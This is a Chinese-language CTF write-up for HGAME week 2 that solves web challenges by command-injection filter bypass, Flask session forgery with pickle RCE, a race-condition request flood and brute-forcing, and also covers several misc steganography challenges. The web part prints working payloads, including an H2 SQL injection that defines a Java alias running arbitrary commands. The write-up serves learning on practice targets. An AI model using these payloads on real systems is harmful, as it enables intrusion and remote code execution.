hgameweek2
hgameweek2
web
What the cow say?
打开网站,是一个让我们输入内容并且会由牛牛输出的框框,首先试了一些常见的注入命令,发现分别出现了WAF
和ERROR
,对一些常见关键词如&&
出现了WAF
过滤
初步猜测是命令行注入,查了好久的绕过,原来是利用$()内联执行
但是WAF
了cat
,flag
绕过一下,发现显示该文件是个目录,没办法读取!
paylod=$( c$@at /f$@lag_is_here)
再ls+cat flag 就好啦
myflask
打开网页是一串python代码
要求我们把cookie中的username
改为admin
才能回显数据,刚开始试了改包,但是没成功,上网查询资料之后发现要伪造session
,密钥是开靶机的时间,然后在网上找了脚本加密一下运行,在code里面数据不对,在虚拟机里的数据才是正确的,成功改了cookie。(感觉coded的版本太高了)
随后发送post请求,发现 有一个pickle.loads
函数。查阅发现能进行pickle的rce
然后构造一个简单的脚本,同样在虚拟机里运行。
然后cat /flag 就好啦
Select More Courses
打开网站,是一个登录页面,通过页面提示是弱密码,所以用了burp弱密码爆破,找到密码
然后登录进去,要求我们首先要扩学分,但是绩点不够
得知是条件竞争之后分析题目,搞了个爬虫不停发请求,刷新之后就可以选课啦
1 | import threading |
search4member
打开网页,是一个搜索成员网站,出题人给了源码,进行简单的代码审计
1 | String sql = "SELECT * FROM member WHERE intro LIKE '%" + keyword + "%';"; |
内部的sql语句是这样的构成,以及使用的是h2 database
,查阅各种资料之后我们发现h2有漏洞可以执行rce,h2允许用户定义函数别名,因此可以执行Java代码,在本地起了环境之后打入第一个payload。
1 | 2%'CREATE ALIAS EXEC AS CONCAT('void e(String cmd) throws java.io.IOException', |
报错,发现只有远程可以实现ls
,本地需用dir
。以及这是一个sql数据库,我们声明的函数需要以固定格式返回结果才能在远程出现回显。
想到插入一条sql
语句,随后进行查询。
1 | 21%';CREATE ALIAS Exa AS CONCAT('String e(String cmd) throws java.io.IOException',HEXTORAW('007b'),'java.lang.Runtime rt= java.lang.Runtime.getRuntime();String a;java.io.InputStreamReader b = new java.io.InputStreamReader(rt.exec(cmd).getInputStream());a = new java.io.BufferedReader(b).readLine();return a;',HEXTORAW('007d'));INSERT INTO member(id, intro, blog)VALUES('123', Exa('cat /flag'),'#'); --"%';" |
注入后查询hgame
获得结果。
misc
ek1ng_want_girlfriend
下载Wireshark
导入文件,导出图片,获得flag
。
ezWord
解压压缩包,是一个word文档,看大小直觉binwalk
一下,果然有东西
有两张相同的图片,根据题目的提示,查找盲水印的相关资料,最后得到密钥
打开secret.txt
是一个完全看不懂的东西,询问出题人得知是spammimic,解码一下再用ROT8000解码一下就获得flag了。
龙之舞
打开压缩包是个wav
文件,放在软件里解析一下,得到了key
查阅资料发现文件还可以放在deepsound解析一下,密码是key
,是一个xxx.zip
打开是一个gif有二维码,截图拼接发现有二维码损坏,扫不出来,修复一下
得到flag
。